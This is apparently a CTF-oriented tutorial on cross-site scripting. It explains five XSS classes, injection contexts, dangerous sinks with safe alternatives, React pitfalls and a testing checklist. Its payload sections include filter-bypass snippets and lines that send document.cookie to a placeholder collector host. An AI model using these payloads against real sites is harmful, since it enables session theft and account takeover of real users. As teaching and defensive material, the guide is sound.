Cross-Site Scripting (XSS)
The five XSS classes, why injection context decides the payload, and the snippets that actually fire — plus the sink list, a detection flow, and a CTF testing checklist.
XSS happens when user input is rendered into a page without escaping, so the browser interprets it as HTML/JavaScript instead of text. The injected code runs in the victim's browser, under the site's origin — which is why it inherits the victim's session.
§What XSS gets you
Scope depends on the app, but the usual prizes:
- Read non-
HttpOnlycookies; read/writelocalStorageandsessionStorage - Read and rewrite the DOM (deface, inject fake login forms for phishing)
- Act as the logged-in user — fire same-origin requests with their session, defeating most CSRF defenses from inside
- In CTFs: exfiltrate the flag from the page, an admin's cookie, or an internal endpoint
§The five classes
Reflected
Input is echoed straight back in the response. Non-persistent — the victim has to open a crafted URL.
// vulnerable: q is echoed unescaped
<h1><?php echo $_GET['q']; ?></h1>/search?q=<script>alert(document.domain)</script>Stored
Input is saved server-side and replayed to everyone who views it. Persistent and high-impact — every visitor is a victim. Common sinks: comments, forum posts, usernames, profile bios, support tickets, chat.
DOM-based
No server involvement — client-side JS takes attacker-controlled data from a source and writes it to a dangerous sink.
// source: location.hash → sink: innerHTML
element.innerHTML = location.hash.slice(1); // vulnerable
element.textContent = location.hash.slice(1); // safe — rendered as textBlind
A stored payload that fires somewhere you can't see — an admin dashboard, moderation queue, log viewer, or support backend. You won't get immediate feedback, so use an out-of-band callback (e.g. an XSS-hunter style collector) to know when and where it executed.
<script src="https://YOUR-COLLECTOR/x.js"></script>Mutation (mXSS)
A sanitizer approves the input, but the browser reparses the HTML afterward and resurrects a
dangerous element. The bypass lives in the gap between how the sanitizer reads the markup and how
the browser re-serializes it — classically via innerHTML round-trips and quirky nesting.
input → sanitizer thinks it's safe → browser reparses → dangerous node appearsMostly advanced-CTF / research territory; the fix is sanitizing with a parser the browser agrees with (e.g. DOMPurify) rather than regex.
§Context is everything
The same payload won't fire everywhere — what you inject depends on where it lands. Identify the context first, then break out of it:
<!-- HTML body: inject a tag directly -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<!-- Inside an attribute value: close the attribute/tag first -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="
<!-- Inside a <script> string: break out of the string/statement -->
';alert(1)//
</script><svg onload=alert(1)>
<!-- In an href/src (URL context): script-scheme -->
javascript:alert(1)When tags are filtered, lean on attribute-based execution (onerror, onload, onfocus,
onmouseover) and tags that don't need a closing tag or user interaction (<svg>, <img>).
For filter bypass: try case variation, missing quotes, no spaces (/ as a separator), HTML-entity
or URL encoding, and dropping <script> entirely in favor of event handlers.
§Useful payloads
<!-- proof of execution — prefer document.domain over alert(1) -->
<script>alert(document.domain)</script>
<svg onload=alert(document.domain)>
<!-- read cookies -->
<script>alert(document.cookie)</script>
<!-- exfiltrate cookie out-of-band -->
<script>new Image().src='https://YOUR-COLLECTOR/?c='+encodeURIComponent(document.cookie)</script>
<script>fetch('https://YOUR-COLLECTOR/?c='+document.cookie)</script>
<!-- no-interaction classics for filtered contexts -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>§Dangerous sinks
When user input reaches any of these, treat it as a potential XSS:
innerHTML outerHTML document.write()
insertAdjacentHTML() dangerouslySetInnerHTML (React)
eval() new Function()
setTimeout("…") setInterval("…") (string arguments)
location / href / src (URL context, javascript: scheme)Safe alternatives: textContent instead of innerHTML; createElement() +
appendChild() instead of document.write(); pass functions, not strings, to
setTimeout/setInterval.
§Framework note: React
React escapes interpolated values by default, so <div>{userInput}</div> is safe. The escape
hatches are where bugs live:
dangerouslySetInnerHTML— explicitly opts out of escaping; sanitize the HTML first.href/srcset from user input — ajavascript:URL still executes; validate the scheme.
§Detection methodology (CTF)
- Enumerate every input — search, login, profile, username, comments, messages, contact forms, and URL parameters.
- Find where it surfaces — HTML body? attribute? inside
<script>? a URL? That decides the payload. - Test escaping — inject
<b>x</b>. If it renders as text (<b>), it's escaped; if it becomes a real element, it's injectable. - Classify it — immediate echo → reflected; saved in DB → stored; pure client-side JS → DOM; only admins trigger → blind; sanitizer-then-reparse → mXSS.
§Testing checklist
- Search boxes and URL parameters
- Profile fields, usernames, bios
- Comments, feedback, contact and chat messages
- Markdown editors and rendered previews
- File names, PDF/preview generators
- Admin dashboards, notifications, error messages (often reflected and forgotten)
§Memory trick
Reflected comes back immediately in the response
Stored saved in the database, replayed to all
DOM client-side JS source → dangerous sink
Blind someone else (an admin) triggers it later
mXSS browser rewrites the HTML after sanitization